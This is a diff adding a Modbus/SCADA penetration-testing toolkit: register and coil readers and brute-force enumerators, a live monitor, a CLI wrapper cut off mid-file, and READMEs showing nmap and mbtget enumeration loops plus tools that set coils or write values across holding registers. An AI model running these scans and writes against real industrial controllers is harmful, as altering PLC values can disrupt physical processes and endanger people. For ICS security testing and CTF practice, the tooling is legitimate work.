entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from 